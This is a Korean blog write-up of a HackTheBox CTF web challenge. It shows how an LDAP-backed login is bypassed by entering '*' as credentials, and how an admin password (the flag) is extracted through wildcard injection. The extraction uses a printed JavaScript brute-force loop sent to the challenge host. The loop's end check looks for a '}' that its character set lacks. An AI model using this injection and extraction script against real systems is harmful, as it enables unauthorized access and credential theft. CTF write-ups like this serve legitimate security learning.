티스토리 뷰

728x90
반응형

처음 로그인 하게 되면 위와 같이 나옵니다. 정황상 로그인을 해야 뚜렷한 갈길이 보일 것 같았습니다. 무작정 bruteforce 도 돌려보고, mysql, mssql, nosql injections 들도 시도해보았습니다만 별로 성과가 없었습니다.

 

그러다가 하늘색의 문구가 그제서야 보이더군요. “Workstation username and password” 이 한 문장이 제게 큰 힌트로 찾아와주었습니다. 보자마자 머리속에서는 “이 조직에서는 Windows 를 사용하고, Active Directory 상으로 사용자들이 속해있을 것이며, 사용자 아이디와 비밀번호 인증이 있구나!” 라고 생각이 번쩍 들었습니다.

 

하지만 Active Directory 를 직접 사용해본 것은 몇 년이나 지났기 때문에 복습이 필요해서 검색을 해보았습니다.

Active Directory

Microsoft's directory service database for Windows networks. Stores information about resources on the network and provides a means of centrally organizing, managing, and controlling access to the resources. Recently renamed Active Directory Domain Services, or AD DS. Microsoft also has a product called Active Directory Lightweight Directory Services, or AD LDS (formerly called Active Dirctory Application Mode, or ADAM).

참고: https://social.technet.microsoft.com/wiki/contents/articles/16757.active-directory-glossary.aspx#Active_Directory

 

Active Directory: Glossary - TechNet Articles - United States (English) - TechNet Wiki

 

social.technet.microsoft.com

여기서 주목했던 문장은 첫 문장이었습니다. “database for Windows networks” 라고 합니다. 다른 건 모르겠고, 이것도 하나의 database라고 생각하니, query 문이 있을 것 같았고, 거기에 해답이 있을 것 같았습니다.

 

그리고 Search Filter Syntax 라는 게 있다는 것을 알 수 있었습니다. 아래 사이트를 참고하세요.

참고 : https://docs.microsoft.com/en-us/windows/win32/adsi/search-filter-syntax

 

Search Filter Syntax - Win32 apps

Search filters enable you to define search criteria and provide more efficient and effective searches.

docs.microsoft.com

Search filter Description
"(objectClass=*)" All objects.
"(&(objectCategory=person)(objectClass=user)(!(cn=andy)))" All user objects but "andy".
"(sn=sm*)" All objects with a surname that starts with "sm".
"(&(objectCategory=person)(objectClass=contact)(|(sn=Smith)(sn=Johnson)))" All contacts with a surname equal to "Smith" or "Johnson".

Wildcards

Get all entries:

(objectClass=*)

Get entries containing "bob" somewhere in the common name:

(cn=*bob*)

… (생략) …

 

해답은 Wildcard 였습니다. Username과 Password 에 *(asterisk) 를 넣고 Login 버튼을 누르니 로그인이 되었습니다. 그리고 Search 입력 칸에 space(띄어쓰기)를 넣고 Search 버튼을 눌러 전체 검색을 해보았더니 전화번호 목록이 나왔습니다.

 

전화번호 부에서는 별다른 Flag 로 보이는 내용물이 존재하지 않았습니다. 그래서 우선 관리자로 보이는 사용자 계정의 아이디와 비밀번호를 찾아보고자 했습니다.

가장 첫 페이지에서 Reese 라는 Username 이 관리자 계정으로 보이기 때문에 해당 계정의 비밀번호를 위에서 언급한 Active Directory 의 Search Filter Syntax 중 Wildcard 를 이용하여 찾아보았습니다.

HTB{*}

그리고 운이 좋게 위 query문으로 한 방에 Reese 계정의 비밀번호가 Flag 임을 확인할 수 있었습니다.

 

이제는 javascript를 이용해서 password bruteforce 를 돌렸습니다. 코드는 아래와 같습니다.

var chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_';
var result = 'HTB{';
var cont = true;
while(cont){
	for(var i=0; i<chars.length; i++){
		var content = await fetch("http://167.99.84.37:32223/login", {
			"headers": {
			"content-type": "application/x-www-form-urlencoded"
			},
			"body": "username=reese&password="+result+chars[i]+"*",
			"method": "POST"
		}).then(function(res){
			return res.text();
		});
		if(content.length > 2500){ // success
			result += chars[i];
			if(chars[i] === '}'){
				cont = false;
				result += '}';
			}
			break;
		}
	}
}

console.log(result);

결과적으로는 Flag 가 HTB{d1rectory_h4xx0r_is_k00l} 가 나왔습니다.

 

HTB{d*}, HTB{d1*} … 계속 이렇게 찾아 나가서 결국 } 문자가 나올 때까지 무한히 반복하여 비밀번호를 찾아나가 비밀번호를 획득하여 문제를 풀 수 있었습니다.

 

 

- 끝 -

728x90
반응형
댓글